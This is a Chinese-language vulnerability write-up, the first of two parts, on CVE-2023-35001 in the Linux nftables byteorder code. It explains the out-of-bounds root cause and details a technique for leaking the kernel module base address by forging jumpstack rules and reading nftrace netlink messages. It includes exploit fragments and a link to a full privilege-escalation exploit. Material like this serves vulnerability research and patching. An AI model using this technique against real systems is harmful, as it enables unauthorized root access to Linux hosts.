CVE-2023-35001提权利用-前篇

大家好，欢迎来到IT知识分享网。

前言

Netfilter是一个用于Linux操作系统的网络数据包过滤框架，它提供了一种灵活的方式来管理网络数据包的流动。Netfilter允许系统管理员和开发人员控制数据包在Linux内核中的处理方式，以实现网络安全、网络地址转换（Network Address Translation，NAT）、数据包过滤等功能。

点我看：CVE-2023-35001提权利用（后篇）

漏洞成因

在netfilter中存在这nft_byteorder_eval函数，该函数的作用是将寄存器中的数据以主机序或网络序存储。具体代码如下，若采用的操作是NFT_BYTEORDER_NTOH则是将数据从主机序转化为网络序，而NFT_BYTEORDER_HTON则是从网络序转换为主机序。具体转换多少个字节则是用priv->size指定的，在该操作下可以转换二、四、八字节。该漏洞也是由于在对两字节数据进行大小端序转存时出现了错误所导致的。

可以看到代码【1】中使用了联合体存储了源地址和目的地址，联合体的变量分别是u32与u16分别代表的是四字节与两字节的空间大小。然后在代码【2】与【3】处源地址是直接取出u16的变量存储到目的地址的u16变量中。

乍一看似乎很符合常理，因为在处理双字节的时候，联合体中的变量就以u16存储，若处理四字节就转化为u32存储，但是这里存在个问题，在C语言中，联合体的存储空间是以最大空间为标准，换句话说无论联合体取出的变量是u16还是u32，联合体的大小都是占用四个字节的，而不会出现双字节的情况，因此在对s与d两个联合体进行遍历时，会以四字节为单位找到下一个位置。但是在计算长度时是以双字节进行计算的，因此就会导致拷贝时发生溢出。

File: linux-5.19\net\netfilter\nft_byteorder.c 26: void nft_byteorder_eval(const struct nft_expr *expr, 27:    struct nft_regs *regs, 28:    const struct nft_pktinfo *pkt) 29: {        ... 33:  【1】union { u32 u32; u16 u16; } *s, *d; //使用联合体存储源地址与目的地址     ... 39:  switch (priv->size) {     ... 72:  case 2: 73:   switch (priv->op) { 74:   case NFT_BYTEORDER_NTOH: 75:    for (i = 0; i < priv->len / 2; i++) 76:     【2】d[i].u16 = ntohs((__force __be16)s[i].u16);//将源地址的数据拷贝到目的地址的低16位中 77:    break; 78:   case NFT_BYTEORDER_HTON: 79:    for (i = 0; i < priv->len / 2; i++) 80:     【3】d[i].u16 = (__force __u16)htons(s[i].u16); 81:    break; 82:   } 83:   break; 84:  } 85: }

举个例子，我们自定义一个联合体数组dest，分别向下标0、1以及2进行赋值。

union {short a;long b;} dst[10]; int main() {     dst[0].a = 0x1122;     dst[1].a = 0x3344;     dst[2].a = 0x5566;          return 0; }

按照设想的情况，在使用双字节变量进行遍历的时候会以双字节为单位进行遍历，但是实际的情况如下图。可以发现即使每次赋值都是对双字节的变量进行赋值，但是再遍历的时候还是按照联合体中最大的存储空间（四字节）进行遍历的。

因此漏洞的成因如下，因此在使用nft_byteorder函数转换双字节的大小端序时溢出。

模块地址泄露

在nft_byteorder_eval函数内部，溢出的地址是在寄存器下方。因此可以通过控制寄存器的下标值选择需要泄露的地址。

在此需要观察通过nft_byteorder_eval函数可以溢出的范围，priv->len是可以人为控制的，只要满足reg * 4 + priv->len <= 0x50即可，reg代表寄存器的下标值，由于下标为0-4是属于状态值，因此不能通用，我们的reg的值需要从4开始计算起， 那0x50 - 0x10 = 0x40就是我们priv->len能设置最大的值，(0x40 / 2) * 4 = 0x80，因此(0xaf8 ~ 0xaf8 + 0x80)范围内都是可以访问到的。但是现在存在一个问题，虽然我们可以越界访问，但是每次只能获取四字节中的低两个字节。

... 75:    for (i = 0; i < priv->len / 2; i++) 76:     【2】d[i].u16 = ntohs((__force __be16)s[i].u16);//将源地址的数据拷贝到目的地址的低16位中 ...

将下列值传参给nft_byteorder_eval函数

/*     dst:18     src:8     priv->op:NFT_BYTEORDER_HTON     priv->len:24     priv->size:2 */ rule_add_byteorder(r, 18, 8, NFT_BYTEORDER_HTON, 24, 2);

泄露的值如下，可以发现高两个字节的值是无法泄露的，因为在nft_byteorder_eval中，每次只拷贝了u16的变量。因此每次泄露只能获取低两字节的值。因此需要寻找其他方法进行地址的泄露。

image-

nf_trace_fill_rule_info函数用于跟踪数据包，并且会将rule->handle的值放进数据包中回传给用户。

想要正常执行nf_trace_fill_rule_info函数需要绕过条件

• • rule不能为空，并且rule->is_last需要为0，即当前rule不是最后一个
• • info->type不能是NFT_TRACETYPE_RETURN以及info->verdict->code不能NFT_CONTINUE

/*函数递归 nft_do_chain -> nft_trace_packet -> __nft_trace_packet -> nft_trace_notify -> nf_trace_fill_rule_info */ File: linux-5.19\net\netfilter\nf_tables_trace.c 126: static int nf_trace_fill_rule_info(struct sk_buff *nlskb, 127:        const struct nft_traceinfo *info) 128: { 129:  if (!info->rule || info->rule->is_last) 130:   return 0; 131:  132:  /* a continue verdict with ->type == RETURN means that this is 133:   * an implicit return (end of chain reached). 134:   * 135:   * Since no rule matched, the ->rule pointer is invalid. 136:   */ 137:  if (info->type == NFT_TRACETYPE_RETURN && 138:      info->verdict->code == NFT_CONTINUE) 139:   return 0; 140:  141:  return nla_put_be64(nlskb, NFTA_TRACE_RULE_HANDLE, 142:        cpu_to_be64(info->rule->handle), 143:        NFTA_TRACE_PAD); 144: } 

因此想要通过nf_trace_fill_rule_info函数获取数据的第一步是伪造rule。

在regs变量的下方存在jumpstack变量

image-

结构体nft_jumpstack的构成如下，由chain、rule、last_rule组成，并且该结构体变量在regs下方，并且通过byteorder操作可以访问到jumpstack结构体，那么利用byteorder操作篡改rule。

struct nft_jumpstack {     const struct nft_chain *chain;     const struct nft_rule_dp *rule;     const struct nft_rule_dp *last_rule; };

接下来看一下nft_rule_dp结构体，可以发现is_last是调用nf_trace_fill_rule_info函数的条件，handle是泄露的值。

struct nft_rule_dp {     u64    is_last:1,                     dlen:12,                     handle:42; /* for tracing */     unsigned char   data[]         __attribute__((aligned(__alignof__(struct nft_expr)))); };

在进入nf_trace_fill_rule_info函数内部前需要经历规则与表达式的遍历。

File: linux-5.19\net\netfilter\nf_tables_core.c 255:  for (; rule < last_rule; rule = nft_rule_next(rule)) { //遍历rule 256:   nft_rule_dp_for_each_expr(expr, last, rule) { //遍历expr 257:    if (expr->ops == &nft_cmp_fast_ops) 258:     nft_cmp_fast_eval(expr, &regs); 259:    else if (expr->ops == &nft_cmp16_fast_ops) 260:     nft_cmp16_fast_eval(expr, &regs); 261:    else if (expr->ops == &nft_bitwise_fast_ops) 262:     nft_bitwise_fast_eval(expr, &regs); 263:    else if (expr->ops != &nft_payload_fast_ops || 264:      !nft_payload_fast_eval(expr, &regs, pkt)) 265:     expr_call_ops_eval(expr, &regs, pkt); //执行expr->ops 266:  267:    if (regs.verdict.code != NFT_CONTINUE) 268:     break; 269:   } 270:  271:   switch (regs.verdict.code) { 272:   case NFT_BREAK: 273:    regs.verdict.code = NFT_CONTINUE; 274:    nft_trace_copy_nftrace(&info); 275:    continue; 276:   case NFT_CONTINUE: 277:    nft_trace_packet(&info, chain, rule, 278:       NFT_TRACETYPE_RULE); //跟踪数据包 279:    continue; 280:   } 281:   break; 282:  

遍历规则的宏定义如下，若是rule->dlen没有进行改写，那么会根据rule->dlen找到下一个rule，但是当前的rule是伪造的，因此会导致在取出expr会报错。倘若将rule->dlen修改为0，则下个rule的位置就是当前rule + 8。

由于不定长数组unsigned char data[]，在sizeof操作中的值为0，因此sizeof(*rule)的值为8。此时将last_rule改写成rule + 8就可以直接跳出循环。

#define nft_rule_next(rule)  (void *)rule + sizeof(*rule) + rule->dlen

在完场上述流程后，就可以顺利进入nft_trace_packet函数内部，nft_trace_packet函数也比较简单，实际是调用了__nft_trace_packet函数

File: linux-5.19\net\netfilter\nf_tables_core.c 37: static inline void nft_trace_packet(struct nft_traceinfo *info, 38:         const struct nft_chain *chain, 39:         const struct nft_rule_dp *rule, 40:         enum nft_trace_types type) 41: { 42:  if (static_branch_unlikely(&nft_trace_enabled)) { 43:   const struct nft_pktinfo *pkt = info->pkt; 44:  45:   info->nf_trace = pkt->skb->nf_trace; 46:   info->rule = rule; 47:   __nft_trace_packet(info, chain, type); 48:  } 49: }

可以发现想要进入nft_trace_notify函数需要满足info->trace或info->trace不为空。

File: linux-5.19\net\netfilter\nf_tables_core.c 24: static noinline void __nft_trace_packet(struct nft_traceinfo *info, 25:      const struct nft_chain *chain, 26:      enum nft_trace_types type) 27: { 28:  if (!info->trace || !info->nf_trace) 29:   return; 30:  31:  info->chain = chain; 32:  info->type = type; 33:  34:  nft_trace_notify(info); 35: }

使用meta表达式可以设置skb->nf_trace，将skb->nf_trace设置为非空就可以进入到nft_trace_notify函数。

File: linux-5.19\net\netfilter\nft_meta.c ... 443:  case NFT_META_NFTRACE: 444:   value8 = nft_reg_load8(sreg); 445:  446:   skb->nf_trace = !!value8; 447:   break; ...

在nft_trace_notify函数内部，还会判断是否订阅NFNLGRP_NFTRACE。没订阅则无法继续执行。

File: linux-5.19\net\netfilter\nf_tables_trace.c     ... 176:  if (!nfnetlink_has_listeners(nft_net(pkt), NFNLGRP_NFTRACE)) 177:   return;     ...

在libnml库中使用mnl_socket_setsockopt函数进行netlink的组订阅，由于在使用宏NFNLGRP_NFTRACE编译时会提示找不到该值，因此这里使用实际值代替了。

static int group = 9; if (mnl_socket_setsockopt(nleak, NETLINK_ADD_MEMBERSHIP, &group,                   sizeof(int)) < 0) {         perror("mnl_socket_setsockopt");         exit(EXIT_FAILURE); }

接下来就需要具体如何伪造rule，通过byteorder操作可以首先可以将原先的chain、rule以及last_rule的地址泄露，但是只能泄露四字节。

由于我们需要找到符合上述条件的rule，并且我们只有rule的最低两个字节，因此搜索范围不大，因此需要在泄露的rule_low附近寻找一个合适的模块地址。在存储泄露的rule之前存储利用immediate以及meta_set操作，我们选择其中一个进行泄露即可。

伪造的方式也比较简单，由于is_last与dlen都需要设置为0，因此我们只需要找到两个字节为0的值，作为伪造的rule即可，伪造的rule如下。

修改后的结果如下

由于handle实际是占用42比特，但是有3个比特被设置为0了，因此实际泄露的值只有39比特，但是由于模块地址的高4个字节都是固定的0xffffffff，因此不影响模块地址的泄露。通过从数据包中提取数据得到handle的值为后，简单移位操作就可以还原。

module = ((leak << 13)  >> 16);

最后泄露模块基地址成功。

总结

总结一下模块基地址的泄露流程

• • 构造基础链
  • • 设置NFT_JUMP表达式
  • • 通过meta设置为NFT_META_NFTRACE
• • 泄露链
  • • byteorder表达式触发漏洞，第一次读chain、rule以及last_rule，第二次改写为chain，fake rule以及fake last_rule
  • • dynset表达式泄露chain、rule、last_rule
• • 订阅NFNLGRP_NFTRACE组，接收数据包
• • 后续接着分享如何绕过kaslr以及最终提权的利用。

原版exp使用go语言写的，我使用c语言重写了一版。

完整exp：https://github.com/h0pe-ay/Vulnerability-Reproduction/tree/master/CVE-2023-35001(nftables)（c语言）